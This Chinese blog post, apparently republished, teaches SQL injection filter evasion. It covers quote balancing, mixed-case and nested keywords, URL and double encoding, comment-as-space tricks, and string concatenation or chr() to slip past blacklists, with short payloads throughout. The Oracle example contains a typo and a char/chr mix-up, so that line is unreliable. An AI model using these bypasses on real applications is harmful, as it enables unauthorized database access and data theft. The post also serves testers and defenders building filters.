天天看點

sql注入——避開過濾

有的時候,很容易受到SQL注入攻擊的程式,可能會進行輸入過濾,用來防止攻擊者無限制的利用其中存在的設計缺陷。

唱出會删除或者淨化一些字元,或者阻止常用的sql關鍵詞。

我們通常有以下幾種技巧,去避開這些過濾。

1,避免使用被阻止的字元,即不使用這些字元仍然達到攻擊目的。

A,如果注入一個數字資料字段,就不需要使用單引号。

B,輸入注釋符号被阻止使用,我們可以設計注入的資料,既不破壞周圍的查詢文法。

比如, ?id=1′ 這裡存在注入,過濾了注釋符合,我們可以輸入 ?id=1′ or ‘a’='a

目的其實很簡單,就是把後面的單引号給閉合掉。

C,在一個MSSQL注入中注入批量查詢的時候,不必使用分号分隔符。

隻要糾正所有批量查詢的文法,無論你是否使用分号,查詢的解析器依然能正确的去解釋它們的。

2,避免使用簡單确認

一些輸入确認機制使用一個簡單的黑名單,組織或删除任何出現在這個名單中的資料,比如防注入程式。

這一般要看這個機制是否做的足夠的好了,黑名單是否足夠能確定安全。如果隻是簡單的黑名單,那也有機會突破的。

A,如果select關鍵詞被阻止或删除

我們可以輸入:

SeLeCt       注意大小寫

selselectect    還記得ewebeditor是怎麼過濾asp的麼?

%53%45%4c%45%43%54                        URL編碼

%2553%2545%254c%2545%2543%2554    對上面的每個%後加了一個25

3,使用SQL注釋符

A,使用注釋來冒充注入的資料中的空格。

select/*yesu*/username,password/*yesu*/from/*yesu*/admin

/*yesu*/來冒充空格

B,使用注釋來避開某些注入的确認過濾。

SEL/*yesu*/ECT username,password fr/*yesu*/om admin

4,處理被阻止的字元串

比如,程式阻止了admin,因為怕攻擊者注入admin表單中的資料。

我們可以這樣

A,oracle資料庫: ‘adm’||’in’

B,MSSQL資料庫: ‘adm’+'in’

C,MYSQL資料庫: concat (‘adm’,'in’)

D,oracle中如果單引号被阻止了,還可以用chr函數

sleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)

還有幾種方法,就不講解了,打字好累的

本文轉sinojelly51CTO部落格,原文連結:http://blog.51cto.com/pnig0s1992/394299,如需轉載請自行聯系原作者